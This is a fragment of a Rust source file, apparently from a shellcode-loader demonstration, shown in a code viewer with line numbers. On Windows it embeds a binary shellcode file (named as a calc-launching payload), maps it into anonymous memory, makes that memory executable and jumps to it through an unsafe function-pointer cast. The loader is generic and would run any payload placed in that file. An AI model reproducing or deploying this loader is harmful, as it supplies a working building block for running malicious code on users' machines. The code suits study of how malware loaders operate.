()
| 3 | |
| 4 | #[cfg(target_os = "windows")] |
| 5 | fn main() { |
| 6 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 7 | let shellcode_size = shellcode.len(); |
| 8 | |
| 9 | let mut mmap = MmapOptions::new() |
| 10 | .len(shellcode_size) |
| 11 | .map_anon() |
| 12 | .expect("[-]mmap failed!"); |
| 13 | mmap.copy_from_slice(shellcode); |
| 14 | let mmap = mmap.make_exec().expect("[-]make_exec failed!"); |
| 15 | |
| 16 | unsafe { |
| 17 | let shell: unsafe extern "C" fn() = transmute(mmap.as_ptr()); |
| 18 | shell(); |
| 19 | } |
| 20 | } |
nothing calls this directly
no outgoing calls
no test coverage detected